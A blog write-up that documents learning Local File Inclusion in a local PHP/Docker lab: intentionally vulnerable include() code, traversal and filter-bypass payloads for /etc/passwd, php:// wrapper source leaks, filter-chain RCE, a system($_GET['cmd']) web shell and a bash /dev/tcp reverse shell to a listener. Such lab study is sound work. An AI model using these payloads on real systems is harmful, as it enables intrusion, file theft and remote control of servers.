LFI Vulnerability
What is LFI?
Local File Inclusion (LFI) is an attack technique in which we as attackers trick a web application into either running or exposing files on a web server.
LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution (RCE) as we'll see in this writing.
Installing and Preparing Laboratory
I use my machine to understand the vulnerability.
sudo service apache2 start
cd /var/www/html
touch index.php
Familiarizing
Understanding
First, let's see how this vulnerability works.
When you include a file inside PHP code like this.
<?php
$filename = $_GET['filename'];
include($filename);
?>
The attacker will simply see sensitive files, just like this.
curl -s -X GET "http://localhost/index.php?filename=/etc/passwd"
Trying Securing Inclusions
You could think of doing more secure your PHP script by forcing your web path concatenation.
<?php
$filename = $_GET['filename'];
include("/var/www/html/" . $filename);
?>
But, the attacker could easily use a Directory Traversal and see anything.
curl -s -X GET "http://localhost/index.php/?filename=../../../../../../../..//etc/passwd"
Making it more secure you could replace each ../ by nothing.
<?php
$filename = $_GET['filename'];
$filename = str_replace("../", "", $filename);
include("/var/www/html/" . $filename);
?>
But, the attacker could easily use ....// and see anything.
sudo curl -s -X GET "http://localhost/index.php/?filename=....//...//....//....//....//....//....//....///etc/passwd"
Now, you could use regular expressions to improve inclusion security by evading including a specific path /etc/passwd.
<?php
$filename = $_GET['filename'];
$filename = str_replace("../", "", $filename);
if (preg_match("/\/etc\/passwd/", $filename) === 1) {
echo "\n[!] Unable to view file content\n";
} else {
include("/var/www/html/" . $filename);
}
?>
But, the attacker could use these syntaxes:
sudo curl -s -X GET "http://localhost/index.php/?filename=....//...//....//....//....//....//....//....///etc/////////passwd"
sudo curl -s -X GET "http://localhost/index.php/?filename=....//...//....//....//....//....//....//....///etc/./././//./././//passwd"
Another way to improve security is by adding forcing file extensions.
<?php
$filename = $_GET['filename'];
$filename = str_replace("../", "", $filename);
include("/var/www/html/" . $filename . ".php");
?>
The attacker leveraging lower PHP versions like 5.2, can use Null Byte Technique.
docker pull tommylau/php-5.2
docker run -dit --name lfiTesting <image_ID>
docker exec -it lfiTesting bash
Another vulnerability of the PHP 5.2 version is concatenating /..
The developer could force file extension by validating the last characters.
Attacking
Let's improve the difficulty of this vulnerability.
First, we use a docker-machine to achieve this.
git clone https://github.com/NetsecExplained/docker-labs
cd docker-labs/file-inclusion/college_website
docker-compose up -d
Docker Lab
We have a college_website at http://localhost:8081.
You can see the website.
Now, to practice wrappers you sould modify index.php file from docker process by changing this line.
include $page.'.php';
by this.
include $page;
Simply PHP Wrapper
Let's start with PHP base64 encoder wrapper to view .php files in raw.
# Wrapper
php://filter/convert.base64-encode/resource=<PHP_FILE>
And the base64 string decoded shows us the database connection PHP file -> admin/db_connect.php.
Let's see that file using the same wrapper and decoding it.
PHP Encoding Wrappers
Let's see another wrapper.
First, we are going to create a Docker image of Ubuntu:latest.
docker pull ubuntu:latest
docker run -dit -p 80:80 --name lfiTesting <image_ID>
docker exec -it lfiTesting bash
We are going to install Vim, apache2 and PHP inside the container and then start the apache service.
apt update
apt install vim apache2 php
service apache2 start
We will remove index.html and create index.php from /var/www/html. Also, we will create a secret file secret.php that contains sensitive content.
index.php
<?php
$filename = $_GET['filename'];
include($filename);
?>
secret.php
<?php
// You shouldn't see this content >:C
?>
You can use the wrapper: php://filter/read=string.rot13/resource=FILE.
And you can decode Caesar cipher by executing this shell code.
curl -s -X GET "http://localhost/index.php?filename=php://filter/read=string.rot13/resource=secret.php" | tr '[c-za-bC-ZA-B]' '[p-za-oP-ZA-O]'
Another way to see PHP raw code without seeing rotations is by using iconv conversion, where the wrapper is: php://filter/convert.iconv.utf-8.utf-16/resource=FILE.
curl -X GET "http://localhost/index.php?filename=php://filter/convert.iconv.utf-8.utf-16/resource=secret.php" > curl_output
And see the content.
LFI to RCE
Let's use BurpSuite and we are going to intercept the filename request.
We could use the POST wrapper: php://input to achieve a Remote Code Execution.
First, we must enable allow_url_encode at /etc/php/8.1/apache2/php.ini and restart apache2 service.
Now, we can do an RCE.
Another way to perform an RCE is with this wrapper: data://text/plain;base64,<BASE64_STRING>.
First, we have to convert to base64 the malicious code.
echo -n '<?php system("id"); ?>' | base64
Then, we have to use this base64 string in BurpSuite.
Deconding and Encoding to do RCE
So far we have been using a bit of simple wrappers to do RCEs. But now, we are going to use Decoding/Encoding technique as long as the website interprets .php file.
Why Get Rid of Any Equal Signs
When we code a string with base64 sometimes this adds \= signs and it could lead to an error. For instance, we have coded cxnsxle string with base64 and we add some \= signs on it; when we decode this final string it can lead to an error.
To solve this ERROR we must use this conversion: convert.iconv.UTF8.UTF7 before decoding.
Get Rid of Everything Invalid Base64
In the same way that equal signs. Let's use decode-encode conversion to avoid any invalid base64 by using: convert.base64-decode|convert.base64-encode.
Generate Some Garbage Base64
We should add some garbage to have space to generate specific characters. This is achieved by adding: convert.iconv.UTF8.CSISO2022KR.
Leveraging of Temp PHP Wrapper
You can think that PHP interprets the final conversion, and let me say you that YES!
And better still, you don't need to figure out a valid .php file, because you can use another wrapper: php://temp that works without needing a specific name.
Injecting PHP Code
You can see that the above conversion UTF8.CSISO2022KR adds some characters to the dynamic php://temp file. So, you can add characters one by one to generate this PHP code.
<?php system("id"); ?>
So, you can use this php_filter_chain_generator tool to perform this automatically.
And we could use this big string to do an RCE from the docker-machine a bit more complex :D.
Also, you can generate a template to do RCE by using the GET method with this PHP code.
<?php system($_GET["cmd"]); ?>
Finally adding at the end of the URL request this: &cmd=<COMMAND\>.
We start a netcat listener from the attacker.
sudo nc -nlvp 4646
And the <COMMAND\> is.
bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4646 0>%261"
Stablish the netcat connection.
I appreciate your time reading this write-up ๐ and I hope it has been valuable for your understanding of the topic, remember that this content does not come 100% from me. Writing this article is a way to reinforce my learning obtained from S4vitar's Hack4u courses ๐ฅ.
Subscribe to my newsletter
Read articles from Cxnsxle directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by